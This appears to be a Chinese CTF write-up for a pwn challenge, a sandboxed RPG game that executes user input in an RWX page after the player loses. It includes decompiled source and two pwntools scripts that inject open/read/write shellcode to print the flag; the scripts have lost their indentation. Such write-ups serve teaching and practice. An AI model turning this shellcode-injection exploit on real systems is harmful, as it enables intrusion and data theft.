九点钟都准备好各种东西之后 一打开比赛平台 发现居然只有一个PWN!!!(为什么要欺负PWN手)

检查并运行

checksec保护全绿 运行程序后发现先给了一个地址 然后是一个勇者斗恶龙的小游戏

IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
init_seccomp();
exec_area = (__int64)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( exec_area != -1 )
{
puts("=== CTF RPG Challenge ===");
printf("Protected zone: %p\n", (const void *)exec_area);
battle_loop();
}
perror("mmap failed");
return 1;
}
void __noreturn battle_loop()
{
int v0; // eax
char v1; // [rsp+3h] [rbp-1Dh]
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]
int v4; // [rsp+10h] [rbp-10h]
int v5; // [rsp+18h] [rbp-8h]

v4 = 100;
v5 = 150;
v2 = 1;
puts("\n==== BOSS BATTLE START ====");
while ( 1 )
{
v0 = v2++;
printf("\n-- Round %d --\n", v0);
printf("Player HP: %d | Boss HP: %d\n", v4, v5);
v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20);
printf("You attack! Damage: %d\n", v3);
v5 -= v3;
if ( v5 <= 0 )
break;
printf("\nDefend? (y/N): ");
v1 = getchar();
while ( getchar() != 10 )
;
if ( v1 == 121 || v1 == 89 )
{
v4 -= 7;
printf("You defend! Damage reduced: %d\n", 15);
}
else
{
v4 -= 30;
printf("No defense! Damage taken: %d\n", 30);
}
if ( v4 <= 0 )
{
puts("\n[System] Game Over...");
boss_victory();
exit(0);
}
}
puts("\n[System] Boss defeated!");
victory_message();
exit(0);
}
__int64 boss_victory()
{
void *addr; // [rsp+0h] [rbp-10h]

addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL);
if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 )
{
perror("mprotect failed");
exit(1);
}
printf("[BOSS] Your place is mine now %p!\n", addr);
printf("[BOSS] Say your last word to your territory: ");
read(0, addr, 0x420uLL);
return ((__int64 (*)(void))addr)();
}
unsigned __int64 victory_message()
{
char v1[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("[System] Enter victory comment: ");
gets(v1);
printf("Your comment: %s\n", v1);
return __readfsqword(0x28u) ^ v2;
}

先看main函数 开启了沙箱 于是先用seccomp工具检测一下

可以发现禁用了execve 那么可以初步判断是注入shellcode进行orw 继续看伪代码 发现在勇者失败的时候会开辟出一个可读可写可执行的区域 并且把这块区域的地址发送出来 让你输入遗言 这个遗言就是我们注入shellcode的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 boss_victory()
{
void *addr; // [rsp+0h] [rbp-10h]

addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL);
if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 ) //设置可读可写可执行
{
perror("mprotect failed");
exit(1);
}
printf("[BOSS] Your place is mine now %p!\n", addr); //把地址发送给我们
printf("[BOSS] Say your last word to your territory: "); //输入遗言
read(0, addr, 0x420uLL);
return ((__int64 (*)(void))addr)(); //执行这个地址
}

脚本

第一种写法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p=remote('39.106.25.161',30845)
p=process('./chall')
#gdb.attach(p)
def defeat():
p.sendlineafter("Defend? (y/N):","n")
while True:
line=p.recv()
if b'Defend? (y/N): ' in line:
p.sendline("n")
if b'Over' in line:
break
addr=int(line[-61:-47],16)
print(hex(addr))
shellcode=asm(shellcraft.cat('flag'))
p.sendline(shellcode)
p.interactive()
第二种写法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p=remote('39.106.25.161',30845)
p=process('./chall')
#gdb.attach(p)
def defeat():
p.sendlineafter("Defend? (y/N):","n")
while True:
line=p.recv()
if b'Defend? (y/N): ' in line:
p.sendline("n")
if b'Over' in line:
break
addr=int(line[-61:-47],16)
print(hex(addr))
shellcode=asm(shellcraft.open('./flag')+shellcraft.read(3,addr,0x100)+shellcraft.write(1,addr,0x100))
p.sendline(shellcode)
p.interactive()

得到flag